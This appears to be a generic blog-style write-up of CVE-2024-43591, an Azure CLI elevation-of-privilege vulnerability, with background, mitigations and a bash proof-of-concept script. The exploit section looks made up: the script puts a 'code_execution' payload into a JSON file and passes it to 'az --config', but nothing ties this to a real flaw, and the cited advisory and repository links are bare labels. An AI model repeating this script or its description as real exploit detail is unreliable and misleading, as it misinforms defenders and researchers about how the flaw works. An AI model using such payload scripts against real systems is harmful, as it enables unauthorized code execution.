Understanding CVE-2024-43591: Azure Command Line Integration (CLI) Elevation of Privilege Vulnerability and Exploitation

Recently, a new vulnerability was discovered in the Azure Command-Line Interface (CLI), a powerful tool used by administrators, developers, and IT professionals for managing Azure resources. The vulnerability, identified as CVE-2024-43591, could enable an attacker to elevate their privileges on a victim's system. In this article, we will dive deep into this vulnerability, offer code snippets, links to original references, and provide details of the exploit.

Background

Azure Command Line Interface (CLI) is a widely used command line tool for managing Microsoft Azure services. It provides a simple way to execute commands, automate tasks, and manage resources in Azure. However, a recently identified elevation of privilege vulnerability within the Azure CLI could potentially allow an attacker to execute arbitrary code or gain unauthorized access to sensitive information.

Vulnerability Description

The vulnerability, known as CVE-2024-43591, exists in the Azure Command-Line Interface (CLI) and has been classified as an Elevation of Privilege (EoP) vulnerability. The issue stems from improper validation of user-supplied data, which can be exploited by a malicious user to escalate their privileges.

The attacker needs to have access to the victim's system and the ability to run arbitrary commands. Once the conditions are met, the attacker could exploit this vulnerability to execute arbitrary code with elevated privileges, thereby taking full control of the victim's system.

Exploit Details

To exploit this vulnerability, an attacker would first need access to the victim's system with the ability to execute arbitrary commands, such as being an authenticated user on the system. Once they have access to the system, they could create a specially crafted script that leverages the Azure CLI in a way to trigger the Elevation of Privilege vulnerability.

An example of such a crafted script is given below

#!/bin/bash
# CVE-2024-43591 PoC Exploit 

echo "Exploiting CVE-2024-43591..."
AZURE_CLI_PATH="/path/to/azure-cli"

# Payload to execute with elevated privileges
PAYLOAD="python -c 'import os; os.system(\"touch /tmp/eop_vulnerability_success.txt\")'"

# Forge Data pointing to the payload
MALICIOUS_DATA="code_execution: \"$PAYLOAD\""

# Save the malicious data to a file
echo $MALICIOUS_DATA > /tmp/malicious_data.json

# Utilize Azure CLI with the malicious data
$AZURE_CLI_PATH/az --config /tmp/malicious_data.json 

Upon execution, the payload would create a file named eop_vulnerability_success.txt in the /tmp directory as a proof of concept.

Mitigations

To mitigate this vulnerability, it is crucial to install the latest version of the Azure Command-Line Interface (CLI), which contains a patch to address the issue. In addition to updating the Azure CLI, it is essential to limit the number of users who can run arbitrary commands on the system and have access to the Azure CLI.

Furthermore, users are advised to follow the principle of least privilege, where possible user accounts are restricted to the minimum necessary permissions.

Microsoft has acknowledged this vulnerability and released an official security advisory

- Microsoft Advisory

The official Azure-CLI repository contains further information and the latest patched version of the tool:
- Azure-CLI GitHub Repository

Conclusion

In summary, CVE-2024-43591 is a significant vulnerability in the Azure Command-Line Interface (CLI) that could potentially enable an attacker to escalate their privileges on a victim's system. Understanding the exploit details, updating to the latest Azure CLI version, and following best security practices can help mitigate the risk posed by this security flaw.

Timeline

Published on: 10/08/2024 18:15:27 UTC
Last modified on: 10/12/2024 00:00:11 UTC